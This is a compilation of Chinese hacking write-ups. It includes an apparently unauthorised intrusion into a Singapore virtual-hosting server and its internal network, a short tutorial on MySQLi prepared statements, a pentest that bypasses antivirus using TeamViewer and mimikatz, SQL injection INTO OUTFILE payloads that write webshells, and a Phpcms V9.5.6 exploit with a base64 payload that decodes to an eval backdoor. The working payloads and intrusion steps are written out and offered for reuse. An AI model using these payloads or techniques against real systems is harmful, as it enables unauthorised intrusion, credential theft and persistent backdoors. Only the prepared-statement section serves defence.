假期无聊,随便乱逛,来到了一个新加坡站点,网站很普通,估计是asp+Access的站点,随手点开一个页面,用“-0”、“-1”简单测试发现存在注入。立马将网址丢到啊D中,不一会儿,啊D就成功猜解出后台用户名密码。

密码被md5加密,在cmd5网上查得原文,登录后台,有种似曾相识的感觉,估计是国内的程序员开发的。后台有上传和数据库备份功能,马上上传图片木马,利用数据库备份顺利得到webshell。

利用菜刀连接,发现权限控制的并不严格,绝大多数目录能浏览。WEB站点目录统一放在“C:Home”下。看着如此多的文件夹,心里不禁乐了,看来这个虚拟主机上的网站还不是一般的多。

既然服务器是虚拟主机,那应该是支持aspx与php的了,测试发现绝大多数站点目录下支持aspx和php,但有的php站点目录并不支持aspx,看来管理员对目录的脚本执行类型进行了简单的区分。

分别在不同的目录中上传好aspxspy和phpspy,在aspxspy中能成功执行命令。输入“ipconfig/all”,发现有两块网卡,其中内网IP为10.10.174.200,而外网IP为..*.200,估计内外网IP的末尾是一一对应的。IIS Ipy也能成功执行,域名和对应的文件夹路径。

1.jpg

继续执行命令“netstat -an”与“net start”查看了一下端口连接与服务开启情况,发现3389开放,服务器连接10.10.174:25的3306端口,并未发现有1433的连接,剩下的就是一长串的80连接了。

执行“systeminfo”查看下系统情况,系统是用的win的web版本,而非常见的企业版,管理员估计设置的自动更新,服务器满补丁运行,但还是抱着奢望尝试了巴西烤肉等提权exp,均失败。

远程连接其3389,5下shift看有没有后门,也并没有发现Hacker留下的踪迹。ftp服务是用微软自带的IIS搭建,服务器为每个站点都建立了唯一的用户,用net user可以查看到N多用户,都隶属于ftpusers组。翻遍了全盘,也没发现有mysql和MSSQL等数据库遗留或备份的痕迹。从前面执行的“netstat -an”结果中,此WEB服务器连接了10.10.174.25的3306端口,估计10.10.174.25被专门用做数据库服务器了。

来看看是否能利用下这个数据库服务器,在其中一个php站点的数据库连接中。

hostname是mysql而不是常见的localhost,在aspx马中执行命令“ping mysql”,其ip为10.10.174.25。既然WEB服务器弄不下,也就只好先看看这个数据库服务器。将上述信息填入phpspy中,连接成功,这时愣了,没想到这用户竟然能查看到mysql数据库。

马上选择mysql数据库,执行“select host,user,password,select_priv from mysql.user;”,执行结果所有用户全部显示出来了。将select-priv为Y的用户整理出来,拿去彩虹表破解之,三分钟不到,结果就出来了,用的纯字母。用root连接数据库服务器成功,利用mysql的load_file()读了下文件,没想到此服务器竟然是用的freebsd。这下就无奈了,要是windows就好啦,而linux下的权限区分的很分明,这个mysql的root用户只能读写普通文件了。读

了下“/etc/passwd”,一大溜的用户。

在aspxspy上对这台mysql服务器的端口开放情况进行了扫描,看是否提供web服务而开启了80、8080等端口。结果再度令人失望,只开放3306和65000端口。没有开放WEB服务,看来对这台数据库服务器的提权是无望了。想到web服务器内外网IP——对应的关系,猜测其外网lP估计为..*.25,telnet其65000端口。

判断是正确的,这个65000是用来远程管理的,利用先前用load_file收集到的用户信息,尝试了几个弱口令均失败,将mysql的root密码作为密码也提示“Login incorrect”。

数据库服务器无法进展又只好回到WEB服务器上来,磁盘上文件都被翻了个遍也没有再找到什么敏感的信息。试试社工吧,继续利用“/etc/passwd”中的用户名和破解出mysql的root密码,N个组合后,突然RP爆发,管理员administrator所用的密码就是mysql的root密码。

登录成功后,发现内网中有相当数量的服务器,上传s扫描器,对内网中开放3389的主机进行了扫描,利用密码通用和MSSQL的sa弱口令又拿下了几台。

由于语言的关系,就没有再对这个内网进行深入下去,这个曲折的检测就告一段落了,在成功登录这台WEB服务器时,自己也是有一些欣喜与忐忑的,很有一种绝处逢生的感觉。各种提权exp无效,不提供mssql、mysql等数据库服务,ftp又是用的IIS自带,心里想着要放弃时,却利用管理员在对mysql用户权限分配上的一个小小疏忽,破解出了root的密码,成功获得了系统权限。很是感慨,社会工程,不失为一种高于技术的高深科学。大家们好好去发挥吧。

某年某月某日某时某分某秒,某人在阅读某PHP程序代码时,发现某处将输入“直接”带入查询语句,当他兴冲冲地抄起阿D时,却没有注入点(magic_quotes_gpc为off)。当他仔细查看代码时,也没发现过滤语句,这是怎么回事呢?实际上,这个程序用了预备查询技术。预备查询技术为何方神圣,且听危险漫步给各位慢慢道来。

预备查询技术实际上是将不完整的SQL语句(如:select * from xxx where id=?“?”是占位符)预先编译好,驻留于内存中,使用时不断将数据代入占位符并执行的一种技术。使用这种技术本意是想快速运行多个格式相同的SQL语句,但由于语句已经编译好,所以代人数据时就不存在数据与语句相混淆的情况,自然也就可以起到防注入的作用。预备查询技术是新版MySQLi库的亮点之一,在介绍预备查询技术之前,先简单说说MySQLi。

一、运行环境

1、MySQLi库可以链接4.1(含)以上版本的Mysql服务器。

2、MySQLi库为PHP5.0(含)以上版本自带。

二、安装方式

1、windows编辑php.ini,找到:;extension=php_mysqli,dⅡ这一行,去掉分号,保存,重启apache。

2、(类)unix如:(包括但不限于)mac os x,linux, unix等

重新编译php,加上--with-mysqli=/usr/local/mysql/bin/mysql_config

三、改进

1.mysqli可以让程序员以面向对象的方式编写代码,为了做到这一点,可怜的php开发者几乎重写所有代码,在此向他们致敬。

2.mysqli库去掉了一些无用的函数,如:不支持持久连接等。

可以看出,mysqli作出了重大的改进,方便了程序员,下面开始介绍预备查询技术。预备查询技术需要七个环节,涉及六个函数,我们一一为大家讲解。

首先先链接MySQL服务器,然后进行预备查询。

1、预备

函数原型:mysqli_stmt mysqli::prepare(string $query)

注意:$query中要含有占位符,占位符可以占数字,文本等类型的数据,但是不能占表名,列名,数据库名等。其中,当占位符占文本时,不要用引号(例如:应该为where username=?,而不是where username_'?')。根据刚才的介绍,此时就已经编译语句了,自然这里也会有语法检查。

2、绑定变量

函数原型:bool mysqli_stmt::bind_param(string $types, mixed &$varl[, mixed&$…])注意:参数一为文本型,其中定义了各个占位符的类型,i是整型,d是浮点型,s是字符串型,b是blob(例如,预备查询语句中有四个占位符,类型分别是字符串型、字符串型、字符串型、整型,则该参数为:"sssi")。剩下的参数按顺序依次对应预备查询语句中的占位符,变量不需要提前定义。

3、赋值

为第二步中的变量赋值

4、执行

函数原型:bool mysqli_stmt::execute(void)

5、绑定结果

函数原型:bool mysqli_stmt::bind_result (mixed &$varl[,mied&$…])

注意:参数要一一与返回的字段对应,对于无返回数据的查询,如delete,insert等,无需此步和下一步。

6、处理数据

函数原型:bool mysqli_stmt::fetch(void)

注意:此函数无需参数,其功能是将指针处的数据赋给上一步中绑定的变量,并将指针下移

一行,如果指针处没有数据可供返回,函数返回false。由于数据可能有很多条,就得需要用循环处理。

7、关闭查询

函数原型:bool mysqli_stmt::close(void)

还需要关注的一点是,如果想执行多条语句,可以重复3-6步,即重新赋值,再execute一遍。

最后断开链接:

函数原型:bool mysqli::close(void)

以上就是预备查询的基本理论,理论还得靠实践来检验,下面对两份程序进行测试,首先介绍测试环境:

B:Safari 5.0(6533.16)on MAC OS X10.6.4

S:Apache/2.2.15 PHP/5.3.2 mysql-5.5-m2-osx10.6-x86_64

MAC OS X10.6.4

其次,安装测试程序。这个程序是我自己写的,意在说明意思,做得比较简陋,凑合看下。安装方法见光盘。下面进行测试,先测试第一套新闻系统。从源代码看出,程序将变量直接带入SQL语句,造成注入,提交返回空白页面。

提交:http://localhost/newsl/news.php?id=1 and 1=2 union select 1,user,pass fromadmin,返回后台地址。

用得到的用户名与密码登录后台(http://localhost/news1/admin)成功

然后测试第二套系统。从源代码看出,程序使用了预备查询技术,而且没有过滤,提交注入语句的非数字部分均被忽略(是因为绑定变量是类型定义为数字的缘故)所以无法注入。通过测试可以看出,预备查询可以防范注入攻击。这样的技术应当引起程序员的重视!

这次是危险漫步帮朋友做的一个服务器渗透测试,要求是拿下整个服务器!过程还算复杂吧!现在分享给大家用来做技术研究与学习之用~~~

OK,现在直接步入正题!

首先来给大家介绍一下这个服务器的安全防护,这次的目标服务器上安装有360和云锁防护软件,所以想要快速的拿下基本上是不太可能了,只能一步一步的来,慢慢的突破他的防线!

1.发掘漏洞,利用漏洞打好开局第一枪

找呀找,终于找到了一个漏洞,好嘞!直接执行“whoami”命令

1.png

还不错,是个administrator权限。

接下来就进入尝试输入阶段,第一个尝试属于的命令当然是“dir”,结果发现无法显示内容,没办法了,只能用“cmd/c”来突破这个限制,OK,这下成功显示我们的目录了啊!

2.png

3.png

接下来当我想更加深入一点的查看盘符内容的时候,突然发现:“内容无法显示”

4.png

尴尬了~~~,不过各位朋友如果真的遇见这种问题的话不用怕,直接加一个“”就可以了。知识点啊,得记下来!!OK,现在成功执行了。

5.png

2.常识命令阶段结束,现在开始长传木马

二话不说直接上木马

6.png
好了,二话不说也就直接失败了,因为服务器限制了写入,就是说现在服务器不可以写入,但是可以进行下载。所以我现在就直接进行远程下载。

7.png

下载完成之后,挺好!!就是没发现缓存文件~~呵呵,安全防护做得挺好!!

8.png
3.突破安全防护软件

在上传木马失败之后,我就开始认真的查看了一下进程,发现了管理员安装了我们之前就提到的360与云锁防护~~不过没关系,360正是绿帽子黑客的圣地,难道我还能怕了他!!

不过在服务器上还是有所斩获的,比如;csc.exe(csc.exe是微软.NET Framework 中的C#语言编译器)

9.png

有了上述的重大发现之后我心中已经有了全盘的计划了,我只需要写入下载代码并且执行下载TeamViewer 软件就可以直接链接服务器

不过首先要说一下,我们现在需要下载的俩个东西一个是TeamViewer软件。还有一个小程序是获取服务器的TeamViewer 远程连接的地址和密码。

10.png

11.png

13.png
OK,接下来我们就需要运行teamviewer,并且查看进程。

13.png

非常顺啊!现在已经可以开始获取密码了啊!

14.png

完全没毛病啊老铁!直接就可以连接了啊!

15.png

OK,现在链接成功了,不过电脑变成了黑屏状态!!这里说明了这个管理员还是有两把刷子的,安全防护做的也还算到位!

16.png

既然你管理员这么利害的话,那么我就直接利用你的管理身份直接完成登录不就得了吗!!还省的麻烦!!

接下来我就需要获取服务器的用户名与密码,第一步就是直接将服务器的哈希值全部都下载下来,然后再通过mimikatz.exe。来获取到管理员的用户名与密码。因为服务是Windows2003。所以要在虚拟机中的Windows2003中执行。

OK,规划已经出来了,那么我就直接实操吧!!

首先从服务器端下载哈希密码

17.png

利用mimikatz获取。如果不知道怎么利用mimikatz获取的话可以去百度搜一搜,上面都是有详细的介绍的,所以在这里我也就不再做过多的介绍了哈!!

18.png

OK,接下来我们只需要在Windows2003中执行就可以了。好了,成功获取到用户名与密码。

19.png

好了,密码也拿到了,现在直接远程登录,整个服务器已经被我拿下!!

20.png

过程可能略微有点曲折,但是黑客技术就是在不断的尝试中积累。所以不要害怕失败,失败了就换个姿势再来一次,多换几次必然会有一次是能够成功的!!

利用需要满足以下条件:
root权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
1.union

id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23
1
id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23
<? phpinfo(); ?>为写入的内容可添加自己的一句话 /home/wwwroot/lu4n.com/luan_phpinfo.php 为已存在的网站目录下的文件即插入文件名
2.no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
1
id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
第二种方法最早最早是在吐司的一个 2015-1-24 的帖子里看到的,吐司果然大牛多。
效果如下:
1.png
这里用的第二种方法是通过插入分隔符号来getshell的,所以必须查询结果有多个列
一般情况下的注入点都是符合条件的。
sqlmap利用方法
以luan_test.php为例:

<?php

@$link= mysql_connect("localhost","root","");
mysql_select_db("mysql",$link);
$user = strtolower($_GET['user']);
if(strpos($user,"union") === false){
    $sql= "SELECT * FROM user where user='{$user}'";
    echo $sql . '<br>';
    mysql_query($sql);
    echo mysql_errno() . ": " . mysql_error(). " ";
}

?>

<?php

@$link= mysql_connect("localhost","root","");
mysql_select_db("mysql",$link);
$user = strtolower($_GET['user']);
if(strpos($user,"union") === false){
    $sql= "SELECT * FROM user where user='{$user}'";
    echo $sql . '<br>';
    mysql_query($sql);
    echo mysql_errno() . ": " . mysql_error(). " ";
}

?>
经测试,sqlmap最新版实际是支持这个方法的:

C:luansqlmap>python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell
1
C:luansqlmap>python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell

但是,如果–os-shell用不了,sqlmap有个写文件的选项,经测试不成功。。。。
3.png
也就是说,sqlmap只能传自己的webshell
4.png
如果工具党遇到这种情况,直接使用sqlmap –os-shell然后用sqlmap上传的Webshell来操作就可以了。
5.png

简要描述:
低权限后台拿shell
版本:Phpcms V9.5.6 Release 20140522
详细说明:
前提是需要有管理专题的权限
测试版本
PHPCMS程序版本:Phpcms V9.5.6 Release 20140522
过程
添加专题专题名称:test
专题横幅:/1.jpg
专题缩略图:/1.jpg
专题导读:
生成静态:是
<?php file_put_contents(‘0.php’,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==’)); ?>
专题生成目录:test000
专题子分类:test test
其他默认 -> 提交
1.jpg

  1. 再次添加专题
    专题名称:test1

专题横幅:/1.jpg
专题缩略图:/1.jpg
专题导读:
生成静态:是
专题生成目录:test111
专题子分类:test test
扩展设置
专题模板:value设置为../../../../html/special/test000/index
其他默认 -> 提交
2.jpg
3.jpg
会在根目录下面生成 0.php 内容为 <?php @eval($_POST[5]);?>
漏洞证明:
4.jpg